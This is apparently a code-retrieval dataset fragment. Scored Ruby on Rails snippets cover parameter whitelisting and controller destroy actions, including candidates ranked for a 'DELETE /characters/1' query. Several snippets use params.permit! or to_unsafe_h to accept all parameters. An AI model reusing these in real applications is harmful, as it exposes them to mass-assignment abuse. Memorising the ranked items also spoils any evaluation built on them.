params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
21494e28ee24987997189838fb4589e5
DELETE /characters/1 DELETE /characters/1.json
[ { "docid": "6602dec34d43961163673137e27a2f92", "score": "0.769231", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "2039ee448a66550a1a9c94675c804e5d", "score": "0.7627626", "text": "def destroy\n @character = Character.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f5f376ab494e31a4a0ea4cfd56fca4d7", "score": "0.7618594", "text": "def destroy\n @character = current_user.characters.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8847979e92a18fcd3d909aeea523b348", "score": "0.7514338", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: I18n.translate(\"success\", scope: %i[characters destroy]) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2e43ca0487cab9a1ab6e81f99a36ba6f", "score": "0.7403266", "text": "def destroy\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to user_characters_url(current_user), notice: 'Character was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3f20aae19132e89297e4f90b9f847340", "score": "0.73896563", "text": "def destroy\n @character = Character.get(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(administration_characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "577f4865453989fa1fa7aa122875122a", "score": "0.7388564", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to user_path(current_user) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2d9966e727f4a0d64e61a14bf77e8977", "score": "0.7385839", "text": "def destroy\n @character = current_user.characters.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "659cae73459de5a61563c77221870426", "score": "0.73816264", "text": "def destroy\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bffc3754ac0a0c289e753f29edafcbc", "score": "0.7372612", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "731e5511a2bb790af8cb05cef98b92a4", "score": "0.737188", "text": "def destroy\n authorize! :update, @character\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "24b5b00e1017b48dd0a04d7078162953", "score": "0.7353122", "text": "def destroy\n if @character.destroy\n head :no_content\n else\n render json: @character.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "54e2b7de1f666371885f4df4fbcfa6bd", "score": "0.73281616", "text": "def destroy\n @character_entry.destroy\n respond_to do |format|\n format.html { redirect_to character_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0a624cb894a4a138e4881030a8b4db35", "score": "0.7327552", "text": "def destroy\n @character = Character.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0a624cb894a4a138e4881030a8b4db35", "score": "0.7327552", "text": "def destroy\n @character = Character.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4efe3900ab238847c54fe7a397ddc5d0", "score": "0.728792", "text": "def destroy\r\n @character.destroy\r\n respond_to do |format|\r\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "753b45a27b6f063847cc9581fcc75cd6", "score": "0.72774136", "text": "def destroy\n if @character.destroy\n render json: {\n status: :deleted,\n character: @character\n }\n else\n render json: {\n status: 500,\n errors: @character.errors.full_messages\n }\n end\n end", "title": "" }, { "docid": "cd9d5243871acffa98660fe4a868e266", "score": "0.7228522", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to @game }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3a55b28c469fbbbe735b402507cd987", "score": "0.7188161", "text": "def destroy\n @game_characters = GameCharacters.find(params[:id])\n @game_characters.destroy\n\n respond_to do |format|\n format.html { redirect_to(game_characters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e27764209c15938afae499dd5fee414a", "score": "0.7153264", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "140a7bcaabf9b069306f79cbb0db657b", "score": "0.71015865", "text": "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd9f515cfd177d9b5c71fdea41f3cdec", "score": "0.70257056", "text": "def destroy\n @fundamental_character = Fundamental::Character.find(params[:id])\n @fundamental_character.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_characters_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b5d89180473f98852205ad4b98320b94", "score": "0.7007979", "text": "def destroy\n @collected_character = CollectedCharacter.find(params[:id])\n @collected_character.destroy\n\n respond_to do |format|\n format.html { redirect_to collected_characters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5fb3c890ef4063aa6fcc2a255e716351", "score": "0.68892074", "text": "def destroy\n @stunt.destroy\n respond_to do |format|\n format.html { redirect_to @character }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4688178cb09a3859cd43c68f1e096230", "score": "0.67963505", "text": "def destroy\n @contacter = Contacter.find(params[:id])\n @contacter.destroy\n\n respond_to do |format|\n format.html { redirect_to contacters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8d872accc70fa3c2a7d11d9217c902f", "score": "0.6746271", "text": "def destroy\n @character_trait = CharacterTrait.find(params[:id])\n @character_trait.destroy\n\n respond_to do |format|\n format.html { redirect_to(character_traits_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "68dfb644976d9ebf98f126a5e1d9162e", "score": "0.67165804", "text": "def destroy\n @character_class.destroy\n respond_to do |format|\n format.html { redirect_to character_classes_url, notice: 'Character class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "68dfb644976d9ebf98f126a5e1d9162e", "score": "0.67165804", "text": "def destroy\n @character_class.destroy\n respond_to do |format|\n format.html { redirect_to character_classes_url, notice: 'Character class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d151efa13f594ba83afb9f6217663f8e", "score": "0.66452646", "text": "def destroy\n @letter = Letter.find(params[:id])\n @letter.destroy\n\n respond_to do |format|\n format.html { redirect_to letters_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "32d499985c2be14ebb41b96251ea33cd", "score": "0.66163385", "text": "def delete_characters\n @db.execute(\"DROP TABLE Characters\")\n end", "title": "" }, { "docid": "fd690daaf00e74ef4382b68b8cfb17e9", "score": "0.6576268", "text": "def destroy\n Character.find(params[:id]).destroy\n redirect_to \"/books/#{params[:book_id]}/characters\"\n end", "title": "" }, { "docid": "d2f2b7e27bbbe134661361074c399275", "score": "0.6560835", "text": "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "title": "" }, { "docid": "f2cb5220eb8a7d3c3aa4abf9f86f2d55", "score": "0.65247554", "text": "def destroy\n @character = Character.find(params[:id])\n @character.disabled = true\n\n if @character.save\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "332a473f00b0239ab0112eb36650c0fd", "score": "0.64845496", "text": "def destroy\n @character.destroy\n end", "title": "" }, { "docid": "09fc2820d9479cac0697e20c559268bf", "score": "0.64670837", "text": "def delete\n render json: Alien.delete(params[\"id\"])\n end", "title": "" }, { "docid": "f95844bc7d43fd682228b989c156a0fc", "score": "0.64596134", "text": "def destroy\n @characteristic = Characteristic.find(params[:id])\n @characteristic.destroy\n\n respond_to do |format|\n format.html { redirect_to(characteristics_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "388919818843d9562bb850a6ba1f3551", "score": "0.643305", "text": "def destroy\n @letter.destroy\n respond_to do |format|\n format.html { redirect_to rough_drafts_me_letters_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a574d032d47a1bab1e4ea3715c5229d", "score": "0.6412836", "text": "def destroy\n @f_characteristic = FCharacteristic.find(params[:id])\n @f_characteristic.destroy\n\n respond_to do |format|\n format.html { redirect_to f_characteristics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0f7c2e188c8d78accfeafa221215c15", "score": "0.6407084", "text": "def destroy\n @status.destroy\n respond_to do |format|\n format.html { redirect_to game_character_path(@game, @character), flash: { success: I18n.t('flash_messages.success.deleted', model: I18n.t('model.status')) } }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.6394013", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "8e82cb2246e433f58a6eefef8166d6b7", "score": "0.6384579", "text": "def destroy\n @chalie_vice_letter.destroy\n respond_to do |format|\n format.html { redirect_to chalie_vice_letters_url, notice: 'Letter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0352e8ade0c15ae9c35886360ceeced2", "score": "0.63801044", "text": "def destroy\n @glyph = Glyph.find(params[:id])\n @glyph.destroy\n\n respond_to do |format|\n format.html { redirect_to glyphs_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ff30d2d190aa6571b3a14d964d2dcf23", "score": "0.6371961", "text": "def destroy\n if gm_user?\n @game = Game.find(params[:game_id])\n @character = Character.find(params[:id])\n @character.destroy\n\n redirect_to game_characters_path(@game)\n else\n redirect_to '/'\n end\n end", "title": "" }, { "docid": "88e5fcd189edadeba0cef0d51503a2d8", "score": "0.63708246", "text": "def destroy\n @game_alphabet.destroy\n respond_to do |format|\n format.html { redirect_to game_alphabets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1d05012beddd57a37825e4cf0b23db74", "score": "0.63616306", "text": "def destroy\n @bookcharacter = Bookcharacter.find(params[:id])\n @bookcharacter.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookcharacters_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e8b40163210d7eb281f0a46bee220739", "score": "0.63554525", "text": "def destroy\n @character_reward.destroy\n respond_to do |format|\n format.html { redirect_to character_rewards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7cf50a72054da29a9a0654c1b77adf52", "score": "0.6342878", "text": "def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end", "title": "" }, { "docid": "1889718d330ab81ef910624aa4569027", "score": "0.63380265", "text": "def destroy\n @typerelsequence.destroy\n respond_to do |format|\n format.html { redirect_to typerelsequences_url, notice: 'Typerelsequence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4be041cf1d9a103a89eaa37277572677", "score": "0.6334361", "text": "def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "99170eef19af4181242a1be4bd8d71ab", "score": "0.63254184", "text": "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "afdc071209b6a40a43bf01176e7ead6c", "score": "0.63197494", "text": "def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e64badbc9fbf06fa98a95d54e94e41a", "score": "0.6314478", "text": "def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to monkeys_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "845c36e5690774b9c11d26a91a60cd65", "score": "0.63143796", "text": "def destroy\n @character_experience.destroy\n respond_to do |format|\n format.html { redirect_to character_experiences_url, notice: 'Character experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e95e6a7a21afa5a745c1aea45c3f1506", "score": "0.63129646", "text": "def destroy\n @character_sheet = CharacterSheet.find(params[:id])\n @character_sheet.destroy\n\n respond_to do |format|\n format.html { redirect_to character_sheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95900eeb6730c084ae9c9e5a80d9d8ce", "score": "0.6309755", "text": "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "title": "" }, { "docid": "56ed7d0784ed638038f61c2e22848d75", "score": "0.62900954", "text": "def destroy\n @personal_characteristic = PersonalCharacteristic.find(params[:id])\n @personal_characteristic.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_characteristics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, 